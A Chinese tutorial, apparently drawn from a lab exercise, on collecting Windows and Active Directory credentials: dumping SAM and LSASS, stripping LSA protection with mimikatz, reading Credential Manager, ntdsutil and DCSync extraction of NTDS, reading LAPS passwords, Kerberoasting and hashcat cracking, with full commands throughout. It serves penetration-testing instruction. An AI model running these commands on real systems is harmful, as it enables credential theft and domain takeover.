内网渗透之凭据收集的各种方式

news2024/11/15 17:26:25

凭据收集是什么?

凭据收集是获取用户和系统凭据访问权限的术语。 这是一种查找或窃取存储的凭据的技术,包括网络嗅探,攻击者可以在网络嗅探中捕获传输的凭据。
凭证可以有多种不同的形式,例如:

  • 帐户详细信息(用户名和密码)
  • 包括 NTLM 哈希等的哈希。
  • 身份验证票证:票证授予票证(TGT)、票证授予服务器(TGS)
  • 任何有助于登录系统的信息(私钥等)

获得凭据的好处:

  • 它可以提供对系统的访问(横向移动)。
  • 这使得我们的行为更难被发现。
  • 它提供了创建和管理帐户的机会,以帮助实现红队参与的最终目标。

明文文件

攻击者可能会在受感染的计算机上搜索本地或远程文件系统中的凭据。明文文件可能包含用户创建的敏感信息,包括密码、私钥等。
以下是攻击者可能感兴趣的一些明文文件类型:

  • 命令历史记录
  • 配置文件(Web App、FTP文件等)
  • 与 Windows 应用程序相关的其他文件(Internet 浏览器、电子邮件客户端等)
  • 备份文件
  • 共享文件和文件夹
  • 登记处
  • 源代码

powershell历史命令文件

PowerShell将执行的 PowerShell 命令保存在用户配置文件的历史文件中,路径如下:

C:\Users\YOUR_USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

从注册表查询密码信息

在Windows注册表中查找“password”关键字,可以使用以下命令:

reg query HKLM /f password /t REG_SZ /s
# or
reg query HKCU /f password /t REG_SZ /s 

本地 Windows 凭据

Windows操作系统提供两种类型的用户帐户:本地和域。本地用户的详细信息存储在本地 Windows 文件系统中,而域用户的详细信息存储在集中式 Active Directory 中。

卷影复制服务

使用 Microsoft 卷影复制服务,该服务有助于在应用程序在卷上读/写时执行卷备份。获取有关服务的更多信息,可以参考官方文档:

https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service

我们可以使用 wmic 创建卷影副本。这必须通过具有管理员权限的命令提示符来完成,如下所示:

wmic shadowcopy call create Volume='C:\'

image.png
然后使用卷影复制服务管理命令行工具来列出并确认我们拥有卷的卷影副本C:

vssadmin list shadows

image.png
输出显示我们已成功创建 (C:) 的卷影副本卷,路径如下:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

SAM 数据库使用RC4或AES加密算法进行加密。为了解密它,我们需要一个解密密钥,该密钥也存储在 c:\Windows\System32\Config\system,现在将两个文件(sam 和 system)从我们生成的卷影副本卷复制到桌面,使用以下命令:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system

image.png
现在我们有了两个必需的文件,在后面会讲解如何提取凭据。

注册表提取

Windows 注册表还存储 Windows 服务使用的一些 SAM 数据库内容的副本。我们可以使用 reg.exe 工具保存 Windows 注册表的值。不过要确保可以使用管理员权限

reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg

image.png

凭据提取

Impacket 工具下载地址:

https://github.com/fortra/impacket

将提取的sam文件和system文件,移到本地机子中,然后使用以下命令:

python3.9 secretsdump.py -sam sam -system system LOCAL

image.png

  • 参数-sam是指定 Windows 机器上转储的 sam 文件的路径。
  • 参数-system是系统文件的路径。
  • LOCAL命令末尾的参数来解密本地 SAM 文件,

一旦我们获得了 NTLM 哈希值,如果它们是可猜测的,我们可以尝试使用 Hashcat 来破解它们,或者我们可以使用不同的技术来使用哈希值来模拟用户。

本地安全机构子系统服务 (LSASS)

什么是LSASS?

本地安全机构服务器服务 (LSASS) 是一个 Windows 进程,用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中,使用户能够访问网络资源, 例如文件共享、SharePoint 站点和其他网络服务,而无需在每次用户连接时输入凭据。

LSASS 进程对于红队来说是一个诱人的目标,因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。幸运的是,如果我们有管理员权限,我们可以转储 LSASS 的进程内存。Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问 ( GUI ) 或命令提示符来完成。
这种攻击通常定义为: OS Credential Dumping: LSASS Memory (T1003

GUI 转储

Ctrl + Shift + Esc 打开任务管理器,然后找到 lsass.exe 的进程,右键选择创建传储文件
image.png
转储完成后,会弹出一条信息,包含转储文件的路径。
image.png
将它复制到 Mimikatz的文件下,后续进行利用

procdump 转储

ProcDump 是一个从命令提示符运行的 Sysinternals 进程转储实用程序。
下载地址:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

可以看见转储过程正在写入磁盘,转储 LSASS 进程是对手使用的一项已知技术。因此,反病毒产品可能会将其标记为恶意。需要免杀
image.png

mimikatz

它可以进行转储内存并提取凭据,不过需要管理员权限。提取登录凭据,使用以下命令:

privilege::debug
sekurlsa::logonpasswords

image.png

转储 + mimikatz凭据提取

通过转储的 lsass.dmp 文件导入到mimikatz中查看凭据

sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords full
  • full 表示提取所有可用的登录凭据,包括普通用户、管理员和系统级别的凭据。

image.png

受保护的 LSASS

以管理员权限运行 Mimikatz 执行文件并启用调试模式。如果启用了 LSA 保护,执行“sekurlsa::logonpasswords”命令时会出现错误。

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

禁用 LSA 保护。我们可以通过执行以下命令:

!+
!processprotect /process:lsass.exe /remove

再次运行“sekurlsa::logonpasswords”命令,就会显示凭据

Windows 凭据管理器

凭据管理器是一项 Windows 功能,用于存储网站、应用程序和网络的登录敏感信息。它包含登录凭据,例如用户名、密码和互联网地址。凭证类别有四种:

  • Web 凭据包含存储在 Internet 浏览器或其他应用程序中的身份验证详细信息。
  • Windows 凭据包含 Windows 身份验证详细信息,例如NTLM或 Kerberos。
  • 通用凭据包含基本身份验证详细信息,例如明文用户名和密码。
  • 基于证书的凭据:基于认证的详细信息。

列出可用凭证

列出 Windows 目标中当前可用的 Windows 保管库。一个用于 Web,另一个用于 Windows 计算机凭据

vaultcmd /list

image.png
检查 Web 凭据 中是否有任何存储的凭据:

VaultCmd /listproperties:"Web Credentials"

image.png
列出 Web 凭据 的凭据详细信息:

VaultCmd /listcreds:"Web Credentials"

image.png

凭据转储

vautlcmd 无法显示密码,我们可以借助powershell 脚本:

https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

使用以下命令:

powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials

可以看见显示了明文密码
image.png
也可以使用 runas进行凭据传储,首先枚举凭据,显示所有存储的凭据:

cmdkey /list

image.png
使用 runas 命令 以 thm-local 用户执行 cmd.exe 程序

runas /savecred /user:THM.red\thm-local cmd.exe

image.png

mimikatz

显示凭据管理器存储的凭据

privilege::debug
sekurlsa::credman

image.png

域控制器

NTDS域控制器

是一个包含所有 Active Directory 数据的数据库,包括对象、属性、凭据等。NTDS.DTS 数据由三个表组成,如下所示:

  • 模式表:它包含对象的类型及其关系。
  • 链接表:它包含对象的属性及其值。
  • 数据类型:包含用户和组。

NTDS 默认位于C:\Windows\NTDS,并且经过加密以防止从目标计算机提取数据。

Ntdsutil

Ntdsutil 是一个 Windows 实用程序,用于管理和维护 Active Directory 配置。它可以用于各种场景,例如

  • 恢复 Active Directory 中已删除的对象。
  • 对AD数据库进行维护。
  • Active Directory 快照管理。
  • 设置目录服务还原模式 (DSRM) 管理员密码。

官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753343(v=ws.11)

本地转储

要成功转储 NTDS 文件的内容,我们需要以下文件:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

使用 Ntdsutil 工具转储 NTDS 文件:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

image.png
查看 C:\temp目录,我们会看到两个文件夹:Active Directory 和 registry ,其中包含我们需要的三个文件。将它们传输到攻击机中
image.png
使用 Secretsdump.py 脚本以从转储的内存文件中提取哈希值

python3.9 /opt/impacket/examples/secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit local

image.png

远程转储

脚本下载地址:

https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

提取NTDS 数据,以thm.red 域用户,攻击者利用这些配置来执行域复制, 通常称为“ DC同步”。

python3.9 /opt/impacket/examples/secretsdump.py -just-dc thm.red/thm@10.10.62.108

image.png如果我们只想转储NTLM哈希值,使用以下命令:

python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm thm.red/thm@10.10.62.108

一旦我们获得了哈希值,可以使用 hashcat 工具进行爆破明文密码:

hashcat -m 1000 -a 0 hash rockyou.txt

image.png

LAPS

2015 年,Microsoft 取消了将加密密码存储在 SYSVOL 文件夹中的操作。它推出了本地管理员密码解决方案 (LAPS),该解决方案提供了一种更安全的方法来远程管理本地管理员密码。

枚举 LAPS

检查目标机器上是否安装了LAPS,这可以通过查看目录:

  • LAPS 用于admpwd.dll更改本地管理员密码并更新ms-mcs-AdmPwd
dir "C:\Program Files\LAPS\CSE"

image.png
查看AdmPwdcmdlet 的可用命令:

powershell -ex bypass
Get-Command *AdmPwd*

image.png
寻找 AD组织单元 (OU) 具有处理 LAPS 的“所有扩展权限”属性:

Find-AdmPwdExtendedRights -Identity THMorg *

image.png
OU 其中的组及其成员就是我们的目标,查看该组的成员:

net groups "LAPsReader"

image.png

获取密码

我们发现该bk-admin用户,因此为了获取 LAPS 密码,我们需要破解或冒充 bk-admin 用户。可以启用 LAPS 的 cmdlet 来获取 LAPS 密码:

Get-AdmPwdPassword -ComputerName creds-harvestin

image.png

Kerberoasting

是一种AD攻击技术,针对的是使用 Kerberos 认证的 Windows 网络环境中的弱点。Kerberos 是一种网络认证协议,用于安全地验证用户和服务之间的身份,常用于 Windows 领域环境中的身份验证。

原理

攻击者可以获取到 Active Directory 中的服务账户的哈希值,然后离线地尝试破解这些哈希值,以获取服务账户的明文密码。这些服务账户通常由 Windows 服务使用,例如数据库、Web应用程序等。
攻击步骤:

  • 攻击者在目标环境中收集有关服务账户的信息,这通常可以通过扫描活动目录或其他信息泄漏渠道获得。
  • 攻击者请求服务账户的服务票据(Service Ticket)。
  • 一旦获得服务票据,攻击者将其导出并在离线环境中进行暴力破解,以获取服务账户的明文密码。
  • Kerberoasting 攻击的危害在于,一旦攻击者获取了服务账户的密码,他们可以通过模拟服务账户身份来访问目标系统和资源,可能导致数据泄漏、权限提升等问题。

演示

脚本地址:

https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py

使用 GetUserSPNs.py 获取指定用户的 Service Principal Names (SPN)。
image.png
可以看见有一个 SPN 帐户 svc-user。找到 SPN 用户后,现在来获取 srv-user 用户的 TGS 票证:

python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.62.108 THM.red/thm -request-user svc-thm

image.png
最后使用 HashCat工具破解获得的TGS票据:

hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt

image.png

关于其他枚举的项目

https://github.com/SnaffCon/Snaffler
https://github.com/GhostPack/Seatbelt
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/985608.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用上这个建筑管理技巧,我才知道有多省事!

在过去的几十年里,建筑和施工行业取得了巨大的进步。然而,这个行业也一直在不断面临挑战,如高成本、时间压力、安全隐患和资源浪费。 随着科技的飞速发展,我们进入了一个新的时代,一个改变着建筑和施工方式的时代 - 智…

TSINGSEE青犀视频AI分析/边缘计算/AI算法·安全帽检测功能——多场景高效运用

安全帽检测算法主要是对人员安全和事故预防的需要。在许多工业领域和施工现场,佩戴安全帽是一种重要的安全措施,可以减少头部受伤的风险。然而,由于工地人员数量众多且繁忙,人工监控难以有效覆盖所有区域,因此旭帆科技…

vue-别名路径联想提示的配置

在根路径下,新建 jsconfig.json 文件,即可 在输入 自动联想到src目录。 代码如下: // 别名路径联想提示:输入自动联想 {"compilerOptions":{"baseUrl":"./","paths": {"/*":[…

算法训练day43|动态规划 part05:0-1背包 (LeetCode 1049. 最后一块石头的重量 II、494. 目标和、474.一和零)

文章目录 1049. 最后一块石头的重量 II思路分析代码实现 494. 目标和思路分析动规方法代码实现总结思考 474.一和零思路分析代码实现思考总结 var code "57a5e730-4e5e-43ad-b567-720d69f0371a"1049. 最后一块石头的重量 II 题目链接🔥🔥 有…

泽众TestOne自动化测试平台,挡板测试(Mock测试)上线了!!

什么是挡板测试(Mock测试)? 主要应对与某些不容易构造或者不容易获取的对象以及暂时没有开发完成的对象,设计一个虚拟的对象,配置测试需求的业务数据,完成测试业务。 TestOne是泽众软件自主研发的一体化测…

静态函数(static)-> static 与 const

一.静态函数 静态函数(Static Function)是指在C中使用static关键字声明的函数。它们与普通成员函数和全局函数不同,具有以下特点: 作用域限制:静态函数在类的作用域内,但它们不依赖于类的实例,…

GIF动态表情如何制作?教你一招超简单的gif制作方法

动态gif表情包是如何制作的?gif格式动图作为网络上流行的一种图片格式,可以将多张静态图片变成一张gif动图,能够以生动有趣的方式传递信息。而且制作这种gif动图的方法也非常的简单,只需要使用gif在线制作(https://www…

不就是G2O嘛

从零开始一起学习SLAM | 理解图优化,一步步带你看懂g2o代码 SLAM的后端一般分为两种处理方法,一种是以扩展卡尔曼滤波(EKF)为代表的滤波方法,一种是以图优化为代表的非线性优化方法。不过,目前SLAM研究的主…

Oracle数据库开发者工具

和开发者相关的数据库特性,功能与工具列举如下,但不限于以下。因为Oracle数据库中的许多功能其实都间接的和开发者发生关系,如Oracle高级安全选件中的透明数据加密,数据编辑。Oracle Spatial and Graph(地理空间与图&a…

ansible搭建

一,ansible是一种由Python开发的自动化运维工具,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能 二,特点 * 部署简单 * **默认…

数据结构入门-13-图

文章目录 一、图的概述1.1 图论的作用1.2 图的分类1.2.1 无向图1.2.2 有向图1.2.3 无权图1.2.4 有劝图 1.3 图的基本概念 二、树的基本表示2.1 邻接矩阵2.1.1 邻接矩阵 表示图2.1.2 邻接矩阵的复杂度 2.2 邻接表2.2.1 邻接表的复杂度2.2.2 邻接表By哈希表 三、图的深度优先遍历…

LLM文章阅读:Baichuan 2 干货

如有转载,请注明出处。欢迎关注微信公众号:低调奋进。打算开始写LLM系列文章,主要从数据、训练框架、对齐等方面进行LLM整理。 Baichuan 2: Open Large-scale Language Models 原始文章链接 https://cdn.baichuan-ai.com/paper/Baichuan2-…

Element Plus table formatter函数返回html内容

查看 Element Plus table formatter 支持返回 类型为string 和 VNode对象; 若依全局直接用h函数,无需引用 下面普通基本用法:在Element Plus中,你可以使用自定义的formatter函数来返回VNode对象,从而实现更灵活的自定…

FasterNet(PConv)paper笔记(CVPR2023)

论文:Run, Don’t Walk: Chasing Higher FLOPS for Faster Neural Networks 先熟悉两个概念:FLOPS和FLOPs(s一个大写一个小写) FLOPS: FLoating point Operations Per Second的缩写,即每秒浮点运算次数,或…

Pytorch实现鸟类品种分类识别(含训练代码和鸟类数据集)

Pytorch实现鸟类品种分类识别(含训练代码和鸟类数据集) 目录 Pytorch实现鸟类品种分类识别(含训练代码和鸟类数据集) 1. 前言 2. 鸟类数据集 (1)Bird-Dataset26 (2)自定义数据集 3. 鸟类分类识别模型训练 (1&a…

核心实验13合集_vlan mapping 和QinQ_ENSP

项目场景一: 核心实验13合集-1_vlan高级配置_ENSP vlan mapping vlan转换 将用户端发来的vlan30-31的标签全部转换成vlan100向上发送 相关知识点: 定义: VLAN Mapping通过修改报文携带的VLAN Tag来实现不同VLAN的相互映 射。 目的: 在某些场景中&#xf…

c语言数组的用法

c语言数组的用法如下: 一维数组的定义方式 在C语言中使用数组必须先进行定义。一维数组的定义方式为: 类型说明符 数组名 [常量表达式]; 其中,类型说明符是任一种基本数据类型或构造数据类型。数组名是用户定义的数组标识符。方括号中的常量表…

原生js之dom表单改变和鼠标常用事件

那么好,本次我们聊聊表单改变时如何利用onchange方法来触发input改变事件以及鼠标常用的滑入滑出,点击down和点击up事件. 关于onchange方法 onchange方法在鼠标输入完后点击任何非输入框位置时触发.触发时即可改变原有输入框的值. out 、leave、over、down、up鼠标方法 当用…

YOLOV7改进-空洞卷积+共享权重的Scale-Aware RFE

代码 1、先把文件复制到common.py中 2、yolo.py添加类名 3、下半部分进行添加修改 4、cfg-training:新建配置文件 加了一行,后面对于序号1 5、这里选择12层替代

软件第三方测评机构简析:良好的测试环境对软件产品起到的作用

近年来,软件行业发展迅速,软件产品的质量成为用户关注的焦点。而软件的质量评估往往需要依赖专业的第三方测评机构,为了更好地了解软件测试环境对产品质量的重要性,小编整理了以下简析: 一、良好的测试环境对软件产品…